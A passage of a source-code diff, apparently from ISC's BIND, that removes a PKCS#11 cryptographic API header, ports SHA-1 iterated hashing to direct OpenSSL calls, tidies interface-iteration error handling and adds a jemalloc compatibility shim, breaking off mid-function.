-		      unsigned long data_len, unsigned char *signature,
-		      unsigned long *signature_len));
-
-_CK_DECLARE_FUNCTION(C_VerifyInit,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism, ck_object_handle_t key));
-_CK_DECLARE_FUNCTION(C_Verify,
-		     (ck_session_handle_t session, unsigned char *data,
-		      unsigned long data_len, unsigned char *signature,
-		      unsigned long signature_len));
-_CK_DECLARE_FUNCTION(C_VerifyUpdate,
-		     (ck_session_handle_t session, unsigned char *part,
-		      unsigned long part_len));
-_CK_DECLARE_FUNCTION(C_VerifyFinal,
-		     (ck_session_handle_t session, unsigned char *signature,
-		      unsigned long signature_len));
-_CK_DECLARE_FUNCTION(C_VerifyRecoverInit,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism, ck_object_handle_t key));
-_CK_DECLARE_FUNCTION(C_VerifyRecover,
-		     (ck_session_handle_t session, unsigned char *signature,
-		      unsigned long signature_len, unsigned char *data,
-		      unsigned long *data_len));
-
-_CK_DECLARE_FUNCTION(C_DigestEncryptUpdate,
-		     (ck_session_handle_t session, unsigned char *part,
-		      unsigned long part_len, unsigned char *encrypted_part,
-		      unsigned long *encrypted_part_len));
-_CK_DECLARE_FUNCTION(C_DecryptDigestUpdate,
-		     (ck_session_handle_t session,
-		      unsigned char *	  encrypted_part,
-		      unsigned long encrypted_part_len, unsigned char *part,
-		      unsigned long *part_len));
-_CK_DECLARE_FUNCTION(C_SignEncryptUpdate,
-		     (ck_session_handle_t session, unsigned char *part,
-		      unsigned long part_len, unsigned char *encrypted_part,
-		      unsigned long *encrypted_part_len));
-_CK_DECLARE_FUNCTION(C_DecryptVerifyUpdate,
-		     (ck_session_handle_t session,
-		      unsigned char *	  encrypted_part,
-		      unsigned long encrypted_part_len, unsigned char *part,
-		      unsigned long *part_len));
-
-_CK_DECLARE_FUNCTION(C_GenerateKey,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism,
-		      struct ck_attribute *templ, unsigned long count,
-		      ck_object_handle_t *key));
-_CK_DECLARE_FUNCTION(C_GenerateKeyPair,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism,
-		      struct ck_attribute *public_key_template,
-		      unsigned long	   public_key_attribute_count,
-		      struct ck_attribute *private_key_template,
-		      unsigned long	   private_key_attribute_count,
-		      ck_object_handle_t * public_key,
-		      ck_object_handle_t * private_key));
-_CK_DECLARE_FUNCTION(C_WrapKey,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism,
-		      ck_object_handle_t wrapping_key, ck_object_handle_t key,
-		      unsigned char *wrapped_key,
-		      unsigned long *wrapped_key_len));
-_CK_DECLARE_FUNCTION(C_UnwrapKey,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism,
-		      ck_object_handle_t   unwrapping_key,
-		      unsigned char *wrapped_key, unsigned long wrapped_key_len,
-		      struct ck_attribute *templ, unsigned long attribute_count,
-		      ck_object_handle_t *key));
-_CK_DECLARE_FUNCTION(C_DeriveKey,
-		     (ck_session_handle_t  session,
-		      struct ck_mechanism *mechanism,
-		      ck_object_handle_t base_key, struct ck_attribute *templ,
-		      unsigned long attribute_count, ck_object_handle_t *key));
-
-_CK_DECLARE_FUNCTION(C_SeedRandom,
-		     (ck_session_handle_t session, unsigned char *seed,
-		      unsigned long seed_len));
-_CK_DECLARE_FUNCTION(C_GenerateRandom,
-		     (ck_session_handle_t session, unsigned char *random_data,
-		      unsigned long random_len));
-
-_CK_DECLARE_FUNCTION(C_GetFunctionStatus, (ck_session_handle_t session));
-_CK_DECLARE_FUNCTION(C_CancelFunction, (ck_session_handle_t session));
-
-struct ck_function_list {
-	struct ck_version	 version;
-	CK_C_Initialize		 C_Initialize;
-	CK_C_Finalize		 C_Finalize;
-	CK_C_GetInfo		 C_GetInfo;
-	CK_C_GetFunctionList	 C_GetFunctionList;
-	CK_C_GetSlotList	 C_GetSlotList;
-	CK_C_GetSlotInfo	 C_GetSlotInfo;
-	CK_C_GetTokenInfo	 C_GetTokenInfo;
-	CK_C_GetMechanismList	 C_GetMechanismList;
-	CK_C_GetMechanismInfo	 C_GetMechanismInfo;
-	CK_C_InitToken		 C_InitToken;
-	CK_C_InitPIN		 C_InitPIN;
-	CK_C_SetPIN		 C_SetPIN;
-	CK_C_OpenSession	 C_OpenSession;
-	CK_C_CloseSession	 C_CloseSession;
-	CK_C_CloseAllSessions	 C_CloseAllSessions;
-	CK_C_GetSessionInfo	 C_GetSessionInfo;
-	CK_C_GetOperationState	 C_GetOperationState;
-	CK_C_SetOperationState	 C_SetOperationState;
-	CK_C_Login		 C_Login;
-	CK_C_Logout		 C_Logout;
-	CK_C_CreateObject	 C_CreateObject;
-	CK_C_CopyObject		 C_CopyObject;
-	CK_C_DestroyObject	 C_DestroyObject;
-	CK_C_GetObjectSize	 C_GetObjectSize;
-	CK_C_GetAttributeValue	 C_GetAttributeValue;
-	CK_C_SetAttributeValue	 C_SetAttributeValue;
-	CK_C_FindObjectsInit	 C_FindObjectsInit;
-	CK_C_FindObjects	 C_FindObjects;
-	CK_C_FindObjectsFinal	 C_FindObjectsFinal;
-	CK_C_EncryptInit	 C_EncryptInit;
-	CK_C_Encrypt		 C_Encrypt;
-	CK_C_EncryptUpdate	 C_EncryptUpdate;
-	CK_C_EncryptFinal	 C_EncryptFinal;
-	CK_C_DecryptInit	 C_DecryptInit;
-	CK_C_Decrypt		 C_Decrypt;
-	CK_C_DecryptUpdate	 C_DecryptUpdate;
-	CK_C_DecryptFinal	 C_DecryptFinal;
-	CK_C_DigestInit		 C_DigestInit;
-	CK_C_Digest		 C_Digest;
-	CK_C_DigestUpdate	 C_DigestUpdate;
-	CK_C_DigestKey		 C_DigestKey;
-	CK_C_DigestFinal	 C_DigestFinal;
-	CK_C_SignInit		 C_SignInit;
-	CK_C_Sign		 C_Sign;
-	CK_C_SignUpdate		 C_SignUpdate;
-	CK_C_SignFinal		 C_SignFinal;
-	CK_C_SignRecoverInit	 C_SignRecoverInit;
-	CK_C_SignRecover	 C_SignRecover;
-	CK_C_VerifyInit		 C_VerifyInit;
-	CK_C_Verify		 C_Verify;
-	CK_C_VerifyUpdate	 C_VerifyUpdate;
-	CK_C_VerifyFinal	 C_VerifyFinal;
-	CK_C_VerifyRecoverInit	 C_VerifyRecoverInit;
-	CK_C_VerifyRecover	 C_VerifyRecover;
-	CK_C_DigestEncryptUpdate C_DigestEncryptUpdate;
-	CK_C_DecryptDigestUpdate C_DecryptDigestUpdate;
-	CK_C_SignEncryptUpdate	 C_SignEncryptUpdate;
-	CK_C_DecryptVerifyUpdate C_DecryptVerifyUpdate;
-	CK_C_GenerateKey	 C_GenerateKey;
-	CK_C_GenerateKeyPair	 C_GenerateKeyPair;
-	CK_C_WrapKey		 C_WrapKey;
-	CK_C_UnwrapKey		 C_UnwrapKey;
-	CK_C_DeriveKey		 C_DeriveKey;
-	CK_C_SeedRandom		 C_SeedRandom;
-	CK_C_GenerateRandom	 C_GenerateRandom;
-	CK_C_GetFunctionStatus	 C_GetFunctionStatus;
-	CK_C_CancelFunction	 C_CancelFunction;
-	CK_C_WaitForSlotEvent	 C_WaitForSlotEvent;
-};
-
-typedef ck_rv_t (*ck_createmutex_t)(void **mutex);
-typedef ck_rv_t (*ck_destroymutex_t)(void *mutex);
-typedef ck_rv_t (*ck_lockmutex_t)(void *mutex);
-typedef ck_rv_t (*ck_unlockmutex_t)(void *mutex);
-
-struct ck_c_initialize_args {
-	ck_createmutex_t  create_mutex;
-	ck_destroymutex_t destroy_mutex;
-	ck_lockmutex_t	  lock_mutex;
-	ck_unlockmutex_t  unlock_mutex;
-	ck_flags_t	  flags;
-	void *		  reserved;
-};
-
-#define CKF_LIBRARY_CANT_CREATE_OS_THREADS (1UL << 0)
-#define CKF_OS_LOCKING_OK		   (1UL << 1)
-
-#define CKR_OK				     (0UL)
-#define CKR_CANCEL			     (1UL)
-#define CKR_HOST_MEMORY			     (2UL)
-#define CKR_SLOT_ID_INVALID		     (3UL)
-#define CKR_GENERAL_ERROR		     (5UL)
-#define CKR_FUNCTION_FAILED		     (6UL)
-#define CKR_ARGUMENTS_BAD		     (7UL)
-#define CKR_NO_EVENT			     (8UL)
-#define CKR_NEED_TO_CREATE_THREADS	     (9UL)
-#define CKR_CANT_LOCK			     (0xaUL)
-#define CKR_ATTRIBUTE_READ_ONLY		     (0x10UL)
-#define CKR_ATTRIBUTE_SENSITIVE		     (0x11UL)
-#define CKR_ATTRIBUTE_TYPE_INVALID	     (0x12UL)
-#define CKR_ATTRIBUTE_VALUE_INVALID	     (0x13UL)
-#define CKR_ACTION_PROHIBITED		     (0x1BUL)
-#define CKR_DATA_INVALID		     (0x20UL)
-#define CKR_DATA_LEN_RANGE		     (0x21UL)
-#define CKR_DEVICE_ERROR		     (0x30UL)
-#define CKR_DEVICE_MEMORY		     (0x31UL)
-#define CKR_DEVICE_REMOVED		     (0x32UL)
-#define CKR_ENCRYPTED_DATA_INVALID	     (0x40UL)
-#define CKR_ENCRYPTED_DATA_LEN_RANGE	     (0x41UL)
-#define CKR_FUNCTION_CANCELED		     (0x50UL)
-#define CKR_FUNCTION_NOT_PARALLEL	     (0x51UL)
-#define CKR_FUNCTION_NOT_SUPPORTED	     (0x54UL)
-#define CKR_KEY_HANDLE_INVALID		     (0x60UL)
-#define CKR_KEY_SIZE_RANGE		     (0x62UL)
-#define CKR_KEY_TYPE_INCONSISTENT	     (0x63UL)
-#define CKR_KEY_NOT_NEEDED		     (0x64UL)
-#define CKR_KEY_CHANGED			     (0x65UL)
-#define CKR_KEY_NEEDED			     (0x66UL)
-#define CKR_KEY_INDIGESTIBLE		     (0x67UL)
-#define CKR_KEY_FUNCTION_NOT_PERMITTED	     (0x68UL)
-#define CKR_KEY_NOT_WRAPPABLE		     (0x69UL)
-#define CKR_KEY_UNEXTRACTABLE		     (0x6aUL)
-#define CKR_MECHANISM_INVALID		     (0x70UL)
-#define CKR_MECHANISM_PARAM_INVALID	     (0x71UL)
-#define CKR_OBJECT_HANDLE_INVALID	     (0x82UL)
-#define CKR_OPERATION_ACTIVE		     (0x90UL)
-#define CKR_OPERATION_NOT_INITIALIZED	     (0x91UL)
-#define CKR_PIN_INCORRECT		     (0xa0UL)
-#define CKR_PIN_INVALID			     (0xa1UL)
-#define CKR_PIN_LEN_RANGE		     (0xa2UL)
-#define CKR_PIN_EXPIRED			     (0xa3UL)
-#define CKR_PIN_LOCKED			     (0xa4UL)
-#define CKR_SESSION_CLOSED		     (0xb0UL)
-#define CKR_SESSION_COUNT		     (0xb1UL)
-#define CKR_SESSION_HANDLE_INVALID	     (0xb3UL)
-#define CKR_SESSION_PARALLEL_NOT_SUPPORTED   (0xb4UL)
-#define CKR_SESSION_READ_ONLY		     (0xb5UL)
-#define CKR_SESSION_EXISTS		     (0xb6UL)
-#define CKR_SESSION_READ_ONLY_EXISTS	     (0xb7UL)
-#define CKR_SESSION_READ_WRITE_SO_EXISTS     (0xb8UL)
-#define CKR_SIGNATURE_INVALID		     (0xc0UL)
-#define CKR_SIGNATURE_LEN_RANGE		     (0xc1UL)
-#define CKR_TEMPLATE_INCOMPLETE		     (0xd0UL)
-#define CKR_TEMPLATE_INCONSISTENT	     (0xd1UL)
-#define CKR_TOKEN_NOT_PRESENT		     (0xe0UL)
-#define CKR_TOKEN_NOT_RECOGNIZED	     (0xe1UL)
-#define CKR_TOKEN_WRITE_PROTECTED	     (0xe2UL)
-#define CKR_UNWRAPPING_KEY_HANDLE_INVALID    (0xf0UL)
-#define CKR_UNWRAPPING_KEY_SIZE_RANGE	     (0xf1UL)
-#define CKR_UNWRAPPING_KEY_TYPE_INCONSISTENT (0xf2UL)
-#define CKR_USER_ALREADY_LOGGED_IN	     (0x100UL)
-#define CKR_USER_NOT_LOGGED_IN		     (0x101UL)
-#define CKR_USER_PIN_NOT_INITIALIZED	     (0x102UL)
-#define CKR_USER_TYPE_INVALID		     (0x103UL)
-#define CKR_USER_ANOTHER_ALREADY_LOGGED_IN   (0x104UL)
-#define CKR_USER_TOO_MANY_TYPES		     (0x105UL)
-#define CKR_WRAPPED_KEY_INVALID		     (0x110UL)
-#define CKR_WRAPPED_KEY_LEN_RANGE	     (0x112UL)
-#define CKR_WRAPPING_KEY_HANDLE_INVALID	     (0x113UL)
-#define CKR_WRAPPING_KEY_SIZE_RANGE	     (0x114UL)
-#define CKR_WRAPPING_KEY_TYPE_INCONSISTENT   (0x115UL)
-#define CKR_RANDOM_SEED_NOT_SUPPORTED	     (0x120UL)
-#define CKR_RANDOM_NO_RNG		     (0x121UL)
-#define CKR_DOMAIN_PARAMS_INVALID	     (0x130UL)
-#define CKR_BUFFER_TOO_SMALL		     (0x150UL)
-#define CKR_SAVED_STATE_INVALID		     (0x160UL)
-#define CKR_INFORMATION_SENSITIVE	     (0x170UL)
-#define CKR_STATE_UNSAVEABLE		     (0x180UL)
-#define CKR_CRYPTOKI_NOT_INITIALIZED	     (0x190UL)
-#define CKR_CRYPTOKI_ALREADY_INITIALIZED     (0x191UL)
-#define CKR_MUTEX_BAD			     (0x1a0UL)
-#define CKR_MUTEX_NOT_LOCKED		     (0x1a1UL)
-#define CKR_NEW_PIN_MODE		     (0x1b0UL)
-#define CKR_NEXT_OTP			     (0x1b1UL)
-#define CKR_EXCEEDED_MAX_ITERATIONS	     (0x1c0UL)
-#define CKR_FIPS_SELF_TEST_FAILED	     (0x1c1UL)
-#define CKR_LIBRARY_LOAD_FAILED		     (0x1c2UL)
-#define CKR_PIN_TOO_WEAK		     (0x1c3UL)
-#define CKR_PUBLIC_KEY_INVALID		     (0x1c4UL)
-#define CKR_FUNCTION_REJECTED		     (0x200UL)
-#define CKR_VENDOR_DEFINED		     ((unsigned long)(1UL << 31))
-
-#define CKZ_DATA_SPECIFIED (0x01UL)
-
-/* Compatibility layer.  */
-
-#ifdef CRYPTOKI_COMPAT
-
-#undef CK_DEFINE_FUNCTION
-#define CK_DEFINE_FUNCTION(retval, name) retval CK_SPEC name
-
-/* For NULL.  */
-#include <stddef.h>
-
-typedef unsigned char	  CK_BYTE;
-typedef unsigned char	  CK_CHAR;
-typedef unsigned char	  CK_UTF8CHAR;
-typedef unsigned char	  CK_BBOOL;
-typedef unsigned long int CK_ULONG;
-typedef long int	  CK_LONG;
-typedef CK_BYTE *	  CK_BYTE_PTR;
-typedef CK_CHAR *	  CK_CHAR_PTR;
-typedef CK_UTF8CHAR *	  CK_UTF8CHAR_PTR;
-typedef CK_ULONG *	  CK_ULONG_PTR;
-typedef void *		  CK_VOID_PTR;
-typedef void **		  CK_VOID_PTR_PTR;
-#define CK_FALSE 0
-#define CK_TRUE	 1
-#ifndef CK_DISABLE_TRUE_FALSE
-#ifndef FALSE
-#define FALSE 0
-#endif /* ifndef FALSE */
-#ifndef TRUE
-#define TRUE 1
-#endif /* ifndef TRUE */
-#endif /* ifndef CK_DISABLE_TRUE_FALSE */
-
-typedef struct ck_version  CK_VERSION;
-typedef struct ck_version *CK_VERSION_PTR;
-
-typedef struct ck_info	CK_INFO;
-typedef struct ck_info *CK_INFO_PTR;
-
-typedef ck_slot_id_t *CK_SLOT_ID_PTR;
-
-typedef struct ck_slot_info  CK_SLOT_INFO;
-typedef struct ck_slot_info *CK_SLOT_INFO_PTR;
-
-typedef struct ck_token_info  CK_TOKEN_INFO;
-typedef struct ck_token_info *CK_TOKEN_INFO_PTR;
-
-typedef ck_session_handle_t *CK_SESSION_HANDLE_PTR;
-
-typedef struct ck_session_info	CK_SESSION_INFO;
-typedef struct ck_session_info *CK_SESSION_INFO_PTR;
-
-typedef ck_object_handle_t *CK_OBJECT_HANDLE_PTR;
-
-typedef ck_object_class_t *CK_OBJECT_CLASS_PTR;
-
-typedef struct ck_attribute  CK_ATTRIBUTE;
-typedef struct ck_attribute *CK_ATTRIBUTE_PTR;
-
-typedef struct ck_date	CK_DATE;
-typedef struct ck_date *CK_DATE_PTR;
-
-typedef ck_mechanism_type_t *CK_MECHANISM_TYPE_PTR;
-
-typedef struct ck_mechanism  CK_MECHANISM;
-typedef struct ck_mechanism *CK_MECHANISM_PTR;
-
-typedef struct ck_mechanism_info  CK_MECHANISM_INFO;
-typedef struct ck_mechanism_info *CK_MECHANISM_INFO_PTR;
-
-typedef struct ck_otp_mechanism_info  CK_OTP_MECHANISM_INFO;
-typedef struct ck_otp_mechanism_info *CK_OTP_MECHANISM_INFO_PTR;
-
-typedef struct ck_function_list	  CK_FUNCTION_LIST;
-typedef struct ck_function_list * CK_FUNCTION_LIST_PTR;
-typedef struct ck_function_list **CK_FUNCTION_LIST_PTR_PTR;
-
-typedef struct ck_c_initialize_args  CK_C_INITIALIZE_ARGS;
-typedef struct ck_c_initialize_args *CK_C_INITIALIZE_ARGS_PTR;
-
-typedef struct ck_rsa_pkcs_pss_params  CK_RSA_PKCS_PSS_PARAMS;
-typedef struct ck_rsa_pkcs_pss_params *CK_RSA_PKCS_PSS_PARAMS_PTR;
-
-typedef struct ck_rsa_pkcs_oaep_params	CK_RSA_PKCS_OAEP_PARAMS;
-typedef struct ck_rsa_pkcs_oaep_params *CK_RSA_PKCS_OAEP_PARAMS_PTR;
-
-typedef struct ck_aes_ctr_params  CK_AES_CTR_PARAMS;
-typedef struct ck_aes_ctr_params *CK_AES_CTR_PARAMS_PTR;
-
-typedef struct ck_gcm_params  CK_GCM_PARAMS;
-typedef struct ck_gcm_params *CK_GCM_PARAMS_PTR;
-
-typedef struct ck_ecdh1_derive_params  CK_ECDH1_DERIVE_PARAMS;
-typedef struct ck_ecdh1_derive_params *CK_ECDH1_DERIVE_PARAMS_PTR;
-
-typedef struct ck_key_derivation_string_data  CK_KEY_DERIVATION_STRING_DATA;
-typedef struct ck_key_derivation_string_data *CK_KEY_DERIVATION_STRING_DATA_PTR;
-
-typedef struct ck_des_cbc_encrypt_data_params CK_DES_CBC_ENCRYPT_DATA_PARAMS;
-typedef struct ck_des_cbc_encrypt_data_params
-	*CK_DES_CBC_ENCRYPT_DATA_PARAMS_PTR;
-
-typedef struct ck_aes_cbc_encrypt_data_params CK_AES_CBC_ENCRYPT_DATA_PARAMS;
-typedef struct ck_aes_cbc_encrypt_data_params
-	*CK_AES_CBC_ENCRYPT_DATA_PARAMS_PTR;
-
-#ifndef NULL_PTR
-#define NULL_PTR NULL
-#endif /* ifndef NULL_PTR */
-
-/* Delete the helper macros defined at the top of the file.  */
-#undef ck_flags_t
-#undef ck_version
-
-#undef ck_info
-#undef cryptoki_version
-#undef manufacturer_id
-#undef library_description
-#undef library_version
-
-#undef ck_notification_t
-#undef ck_slot_id_t
-
-#undef ck_slot_info
-#undef slot_description
-#undef hardware_version
-#undef firmware_version
-
-#undef ck_token_info
-#undef serial_number
-#undef max_session_count
-#undef session_count
-#undef max_rw_session_count
-#undef rw_session_count
-#undef max_pin_len
-#undef min_pin_len
-#undef total_public_memory
-#undef free_public_memory
-#undef total_private_memory
-#undef free_private_memory
-#undef utc_time
-
-#undef ck_session_handle_t
-#undef ck_user_type_t
-#undef ck_state_t
-
-#undef ck_session_info
-#undef slot_id
-#undef device_error
-
-#undef ck_object_handle_t
-#undef ck_object_class_t
-#undef ck_hw_feature_type_t
-#undef ck_key_type_t
-#undef ck_certificate_type_t
-#undef ck_attribute_type_t
-
-#undef ck_attribute
-#undef value
-#undef value_len
-
-#undef params
-#undef count
-
-#undef ck_date
-
-#undef ck_mechanism_type_t
-
-#undef ck_mechanism
-#undef parameter
-#undef parameter_len
-
-#undef ck_mechanism_info
-
-#undef ck_param_type
-#undef ck_otp_param
-#undef ck_otp_params
-#undef ck_otp_signature_info
-
-#undef min_key_size
-#undef max_key_size
-
-#undef ck_rv_t
-#undef ck_notify_t
-
-#undef ck_function_list
-
-#undef ck_createmutex_t
-#undef ck_destroymutex_t
-#undef ck_lockmutex_t
-#undef ck_unlockmutex_t
-
-#undef ck_c_initialize_args
-#undef create_mutex
-#undef destroy_mutex
-#undef lock_mutex
-#undef unlock_mutex
-#undef reserved
-
-#endif /* CRYPTOKI_COMPAT */
-
-/* System dependencies.  */
-#if defined(_WIN32) || defined(CRYPTOKI_FORCE_WIN32)
-#pragma pack(pop, cryptoki)
-#endif /* if defined(_WIN32) || defined(CRYPTOKI_FORCE_WIN32) */
-
-#if defined(__cplusplus)
-}
-#endif /* if defined(__cplusplus) */
-
-#endif /* PKCS11_H */
diff --git a/lib/isc/interfaceiter.c b/lib/isc/interfaceiter.c
index d8f5fc41cf..ab0f35acab 100644
--- a/lib/isc/interfaceiter.c
+++ b/lib/isc/interfaceiter.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -30,7 +32,6 @@
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/net.h>
-#include <isc/print.h>
 #include <isc/result.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
@@ -123,8 +124,7 @@ get_addr(unsigned int family, isc_netaddr_t *dst, struct sockaddr *src,
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -201,8 +201,7 @@ isc_interfaceiter_create(isc_mem_t *mctx, isc_interfaceiter_t **iterp) {
 
 	if (getifaddrs(&iter->ifaddrs) < 0) {
 		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "getting interface addresses: getifaddrs: %s",
+		UNEXPECTED_ERROR("getting interface addresses: getifaddrs: %s",
 				 strbuf);
 		result = ISC_R_UNEXPECTED;
 		goto failure;
diff --git a/lib/isc/iterated_hash.c b/lib/isc/iterated_hash.c
index c0148c9847..119c300050 100644
--- a/lib/isc/iterated_hash.c
+++ b/lib/isc/iterated_hash.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,66 +11,167 @@
  * information regarding copyright ownership.
  */
 
+#include <stdbool.h>
 #include <stdio.h>
 
+#include <openssl/err.h>
+#include <openssl/opensslv.h>
+
 #include <isc/iterated_hash.h>
-#include <isc/md.h>
+#include <isc/thread.h>
 #include <isc/util.h>
 
+#if OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000
+
+#include <openssl/sha.h>
+
 int
 isc_iterated_hash(unsigned char *out, const unsigned int hashalg,
 		  const int iterations, const unsigned char *salt,
 		  const int saltlength, const unsigned char *in,
 		  const int inlength) {
-	isc_md_t *md;
-	isc_result_t result;
+	REQUIRE(out != NULL);
+
 	int n = 0;
-	unsigned int outlength = 0;
 	size_t len;
 	const unsigned char *buf;
-
-	REQUIRE(out != NULL);
+	SHA_CTX ctx;
 
 	if (hashalg != 1) {
 		return (0);
 	}
 
-	if ((md = isc_md_new()) == NULL) {
+	buf = in;
+	len = inlength;
+
+	do {
+		if (SHA1_Init(&ctx) != 1) {
+			ERR_clear_error();
+			return (0);
+		}
+
+		if (SHA1_Update(&ctx, buf, len) != 1) {
+			ERR_clear_error();
+			return (0);
+		}
+
+		if (SHA1_Update(&ctx, salt, saltlength) != 1) {
+			ERR_clear_error();
+			return (0);
+		}
+
+		if (SHA1_Final(out, &ctx) != 1) {
+			ERR_clear_error();
+			return (0);
+		}
+
+		buf = out;
+		len = SHA_DIGEST_LENGTH;
+	} while (n++ < iterations);
+
+	return (SHA_DIGEST_LENGTH);
+}
+
+void
+isc__iterated_hash_initialize(void) {
+	/* empty */
+}
+
+void
+isc__iterated_hash_shutdown(void) {
+	/* empty */
+}
+
+#else /* HAVE_SHA1_INIT */
+
+#include <openssl/evp.h>
+
+static thread_local bool initialized = false;
+static thread_local EVP_MD_CTX *mdctx = NULL;
+static thread_local EVP_MD_CTX *basectx = NULL;
+static thread_local EVP_MD *md = NULL;
+
+int
+isc_iterated_hash(unsigned char *out, const unsigned int hashalg,
+		  const int iterations, const unsigned char *salt,
+		  const int saltlength, const unsigned char *in,
+		  const int inlength) {
+	REQUIRE(out != NULL);
+	REQUIRE(mdctx != NULL);
+	REQUIRE(basectx != NULL);
+
+	int n = 0;
+	size_t len;
+	unsigned int outlength = 0;
+	const unsigned char *buf;
+
+	if (hashalg != 1) {
 		return (0);
 	}
 
-	len = inlength;
 	buf = in;
+	len = inlength;
 	do {
-		result = isc_md_init(md, ISC_MD_SHA1);
-		if (result != ISC_R_SUCCESS) {
-			goto md_fail;
+		if (EVP_MD_CTX_copy_ex(mdctx, basectx) != 1) {
+			goto fail;
 		}
-		result = isc_md_update(md, buf, len);
-		if (result != ISC_R_SUCCESS) {
-			goto md_fail;
-		}
-		result = isc_md_update(md, salt, saltlength);
-		if (result != ISC_R_SUCCESS) {
-			goto md_fail;
+
+		if (EVP_DigestUpdate(mdctx, buf, len) != 1) {
+			goto fail;
 		}
-		result = isc_md_final(md, out, &outlength);
-		if (result != ISC_R_SUCCESS) {
-			goto md_fail;
+
+		if (EVP_DigestUpdate(mdctx, salt, saltlength) != 1) {
+			goto fail;
 		}
-		result = isc_md_reset(md);
-		if (result != ISC_R_SUCCESS) {
-			goto md_fail;
+
+		if (EVP_DigestFinal_ex(mdctx, out, &outlength) != 1) {
+			goto fail;
 		}
+
 		buf = out;
 		len = outlength;
 	} while (n++ < iterations);
 
-	isc_md_free(md);
-
 	return (outlength);
-md_fail:
-	isc_md_free(md);
+
+fail:
+	ERR_clear_error();
 	return (0);
 }
-#undef RETERR
+
+void
+isc__iterated_hash_initialize(void) {
+	if (initialized) {
+		return;
+	}
+
+	basectx = EVP_MD_CTX_new();
+	INSIST(basectx != NULL);
+	mdctx = EVP_MD_CTX_new();
+	INSIST(mdctx != NULL);
+	md = EVP_MD_fetch(NULL, "SHA1", NULL);
+	INSIST(md != NULL);
+
+	RUNTIME_CHECK(EVP_DigestInit_ex(basectx, md, NULL) == 1);
+	initialized = true;
+}
+
+void
+isc__iterated_hash_shutdown(void) {
+	if (!initialized) {
+		return;
+	}
+
+	REQUIRE(mdctx != NULL);
+	EVP_MD_CTX_free(mdctx);
+	mdctx = NULL;
+	REQUIRE(basectx != NULL);
+	EVP_MD_CTX_free(basectx);
+	basectx = NULL;
+	EVP_MD_free(md);
+	md = NULL;
+
+	initialized = false;
+}
+
+#endif /* HAVE_SHA1_INIT */
diff --git a/lib/isc/jemalloc_shim.h b/lib/isc/jemalloc_shim.h
new file mode 100644
index 0000000000..ef7641e7f6
--- /dev/null
+++ b/lib/isc/jemalloc_shim.h
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#if !defined(HAVE_JEMALLOC)
+
+#include <stddef.h>
+#include <string.h>
+
+#include <isc/util.h>
+
+const char *malloc_conf = NULL;
+
+#define MALLOCX_ZERO	    ((int)0x40)
+#define MALLOCX_TCACHE_NONE (0)
+#define MALLOCX_ARENA(a)    (0)
+
+#if defined(HAVE_MALLOC_SIZE) || defined(HAVE_MALLOC_USABLE_SIZE)
+
+#include <stdlib.h>
+
+#ifdef HAVE_MALLOC_SIZE
+
+#include <malloc/malloc.h>
+
+static inline size_t
+sallocx(void *ptr, int flags) {
+	UNUSED(flags);
+
+	return (malloc_size(ptr));
+}
+
+#elif HAVE_MALLOC_USABLE_SIZE
+
+#ifdef __DragonFly__
+/*
+ * On DragonFly BSD 'man 3 malloc' advises us to include the following
+ * header to have access to malloc_usable_size().
+ */
+#include <malloc_np.h>
+#else
+#include <malloc.h>
+#endif
+
+static inline size_t
+sallocx(void *ptr, int flags) {
+	UNUSED(flags);
+
+	return (malloc_usable_size(ptr));
+}
+
+#endif /* HAVE_MALLOC_SIZE */
+
+static inline void *
+mallocx(size_t size, int flags) {
+	void *ptr = malloc(size);
+	INSIST(ptr != NULL);
+
+	if ((flags & MALLOCX_ZERO) != 0) {
+		memset(ptr, 0, sallocx(ptr, flags));
+	}
+
+	return (ptr);
+}
+
+static inline void
+sdallocx(void *ptr, size_t size, int flags) {
+	UNUSED(size);
+	UNUSED(flags);
+
+	free(ptr);
+}
+
+static inline void *
+rallocx(void *ptr, size_t size, int flags) {
+	void *new_ptr;
+	size_t old_size, new_size;
+
+	REQUIRE(size != 0);
+
+	if ((flags & MALLOCX_ZERO) != 0) {
+		old_size = sallocx(ptr, flags);
+	}
+
+	new_ptr = realloc(ptr, size);
+	INSIST(new_ptr != NULL);
+
+	if ((flags & MALLOCX_ZERO) != 0) {
+		new_size = sallocx(new_ptr, flags);
+		if (new_size > old_size) {
+			memset((uint8_t *)new_ptr + old_size, 0,
+			       new_size - old_size);
+		}
+	}
+
+	return (new_ptr);
+}
+
+#else /* defined(HAVE_MALLOC_SIZE) || defined (HAVE_MALLOC_USABLE_SIZE) */
+
+#include <stdlib.h>
+
+typedef union {
+	size_t size;
+	max_align_t __alignment;
+} size_info;
+
+static inline void *
+mallocx(size_t size, int flags) {
+	void *ptr = NULL;
+
+	size_t bytes = ISC_CHECKED_ADD(size, sizeof(size_info));
